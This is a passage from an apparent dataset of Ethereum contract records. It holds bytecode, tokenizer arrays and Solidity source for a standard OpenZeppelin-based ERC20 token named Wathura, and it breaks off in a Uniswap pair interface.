261444181614405565b9050919050565b7f4552433737373a206275726e20616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006144a4602383612eb1565b91506144af82614448565b604082019050919050565b600060208201905081810360008301526144d381614497565b9050919050565b60006144e582612f8d565b91506144f083612f8d565b92508282101561450357614502613b71565b5b828203905092915050565b600061451982612f8d565b915061452483612f8d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561455d5761455c613b71565b5b828202905092915050565b600061457382612f8d565b9150600082141561458757614586613b71565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b60006145c8602083612eb1565b91506145d382614592565b602082019050919050565b600060208201905081810360008301526145f7816145bb565b9050919050565b7f4552433737373a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6000614634602083612eb1565b915061463f826145fe565b602082019050919050565b6000602082019050818103600083015261466381614627565b9050919050565b7f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60008201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b60006146c6602683612eb1565b91506146d18261466a565b604082019050919050565b600060208201905081810360008301526146f5816146b9565b9050919050565b600081905092915050565b6000614712826134e1565b61471c81856146fc565b935061472c818560208601612ec2565b80840191505092915050565b60006147448284614707565b91508190509291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122076444abc63598acf4b4221437513000cb5069dd75fc861dc42de175a5b3b61e064736f6c634300080c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 2278, 2487, 2497, 2581, 23632, 2497, 2549, 2094, 2549, 4246, 2497, 2620, 2094, 2629, 16409, 16086, 16147, 22275, 23777, 20842, 12879, 2581, 21084, 2094, 2575, 2683, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 14477, 5856, 8311, 1058, 2487, 1012, 1014, 1012, 1014, 1006, 11460, 6593, 11045, 2078, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2260, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 2581, 2581, 1013, 9413, 2278, 2581, 2581, 2581, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4800, 9289, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,007
0x960c50a3e03becb9d98ea4973858fbef48a1245a
/* Making the Planet Earth a Better Place! Wathura is the Toekn used in the Pokuna.io https://www.pokuna.io/ 5/3/22 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, @@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@( @@/@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@///@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@/////%@@ %@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ .@@////////@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@, @@@////..////@@@ #@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@////*..../////@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@* @@@////......//////@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@/////.......////////@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@////.........//////////@@# @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ @@@////........,//////////////@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@////........//////////////////@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@////......//////////////////////@@* @@@@@@@@@@@@@@ @@@@@@@@@@@@@@% @@///...../////////////////////////@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@///...///////////////////////(///@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@///..//////////////////////(((///@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ %@@////////////////////////(((((//@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ &@@/////////////////////(((((///@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ @@@/////////////////((((((//@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@///////////((((((///%@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@///////////@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ *@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ */ // SPDX-License-Identifier: MIT // // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/Wathura.sol pragma solidity ^0.8.4; /// @custom:security-contact pokuna.nft@gmail.com contract Wathura is ERC20 { constructor() ERC20("Wathura", "WATHURA") { _mint(msg.sender, 222222222222 * 10 ** decimals()); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e0f565b60405180910390f35b6100e660048036038101906100e19190610c59565b610308565b6040516100f39190610df4565b60405180910390f35b61010461032b565b6040516101119190610f11565b60405180910390f35b610134600480360381019061012f9190610c06565b610335565b6040516101419190610df4565b60405180910390f35b610152610364565b60405161015f9190610f2c565b60405180910390f35b610182600480360381019061017d9190610c59565b61036d565b60405161018f9190610df4565b60405180910390f35b6101b260048036038101906101ad9190610b99565b610417565b6040516101bf9190610f11565b60405180910390f35b6101d061045f565b6040516101dd9190610e0f565b60405180910390f35b61020060048036038101906101fb9190610c59565b6104f1565b60405161020d9190610df4565b60405180910390f35b610230600480360381019061022b9190610c59565b6105db565b60405161023d9190610df4565b60405180910390f35b610260600480360381019061025b9190610bc6565b6105fe565b60405161026d9190610f11565b60405180910390f35b60606003805461028590611041565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611041565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600080610313610685565b905061032081858561068d565b600191505092915050565b6000600254905090565b600080610340610685565b905061034d858285610858565b6103588585856108e4565b60019150509392505050565b60006012905090565b600080610378610685565b905061040c818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104079190610f63565b61068d565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461046e90611041565b80601f016020809104026020016040519081016040528092919081815260200182805461049a90611041565b80156104e75780601f106104bc576101008083540402835291602001916104e7565b820191906000526020600020905b8154815290600101906020018083116104ca57829003601f168201915b5050505050905090565b6000806104fc610685565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156105c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b990610ef1565b60405180910390fd5b6105cf828686840361068d565b60019250505092915050565b6000806105e6610685565b90506105f38185856108e4565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f490610ed1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561076d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076490610e51565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084b9190610f11565b60405180910390a3505050565b600061086484846105fe565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108de57818110156108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790610e71565b60405180910390fd5b6108dd848484840361068d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b90610eb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90610e31565b60405180910390fd5b6109cf838383610b65565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90610e91565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae89190610f63565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b4c9190610f11565b60405180910390a3610b5f848484610b6a565b50505050565b505050565b505050565b600081359050610b7e816112ea565b92915050565b600081359050610b9381611301565b92915050565b600060208284031215610baf57610bae6110d1565b5b6000610bbd84828501610b6f565b91505092915050565b60008060408385031215610bdd57610bdc6110d1565b5b6000610beb85828601610b6f565b9250506020610bfc85828601610b6f565b9150509250929050565b600080600060608486031215610c1f57610c1e6110d1565b5b6000610c2d86828701610b6f565b9350506020610c3e86828701610b6f565b9250506040610c4f86828701610b84565b9150509250925092565b60008060408385031215610c7057610c6f6110d1565b5b6000610c7e85828601610b6f565b9250506020610c8f85828601610b84565b9150509250929050565b610ca281610fcb565b82525050565b6000610cb382610f47565b610cbd8185610f52565b9350610ccd81856020860161100e565b610cd6816110d6565b840191505092915050565b6000610cee602383610f52565b9150610cf9826110e7565b604082019050919050565b6000610d11602283610f52565b9150610d1c82611136565b604082019050919050565b6000610d34601d83610f52565b9150610d3f82611185565b602082019050919050565b6000610d57602683610f52565b9150610d62826111ae565b604082019050919050565b6000610d7a602583610f52565b9150610d85826111fd565b604082019050919050565b6000610d9d602483610f52565b9150610da88261124c565b604082019050919050565b6000610dc0602583610f52565b9150610dcb8261129b565b604082019050919050565b610ddf81610ff7565b82525050565b610dee81611001565b82525050565b6000602082019050610e096000830184610c99565b92915050565b60006020820190508181036000830152610e298184610ca8565b905092915050565b60006020820190508181036000830152610e4a81610ce1565b9050919050565b60006020820190508181036000830152610e6a81610d04565b9050919050565b60006020820190508181036000830152610e8a81610d27565b9050919050565b60006020820190508181036000830152610eaa81610d4a565b9050919050565b60006020820190508181036000830152610eca81610d6d565b9050919050565b60006020820190508181036000830152610eea81610d90565b9050919050565b60006020820190508181036000830152610f0a81610db3565b9050919050565b6000602082019050610f266000830184610dd6565b92915050565b6000602082019050610f416000830184610de5565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f6e82610ff7565b9150610f7983610ff7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fae57610fad611073565b5b828201905092915050565b6000610fc482610fd7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561102c578082015181840152602081019050611011565b8381111561103b576000848401525b50505050565b6000600282049050600182168061105957607f821691505b6020821081141561106d5761106c6110a2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6112f381610fb9565b81146112fe57600080fd5b50565b61130a81610ff7565b811461131557600080fd5b5056fea26469706673582212209679ab9bfcc5483e1915b02ff8828920a79618b1af9ecde4a9e314b254bb59d364736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 2278, 12376, 2050, 2509, 2063, 2692, 2509, 4783, 27421, 2683, 2094, 2683, 2620, 5243, 26224, 2581, 22025, 27814, 26337, 12879, 18139, 27717, 18827, 2629, 2050, 1013, 1008, 2437, 1996, 4774, 3011, 1037, 2488, 2173, 999, 28194, 24572, 2050, 2003, 1996, 11756, 2243, 2078, 2109, 1999, 1996, 13433, 5283, 2532, 1012, 22834, 16770, 1024, 1013, 1013, 7479, 1012, 13433, 5283, 2532, 1012, 22834, 1013, 1019, 1013, 1017, 1013, 2570, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 1030, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,008
0x960c611ac7fd9cb5f7859edbb8029d6bc8fe97bb
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint 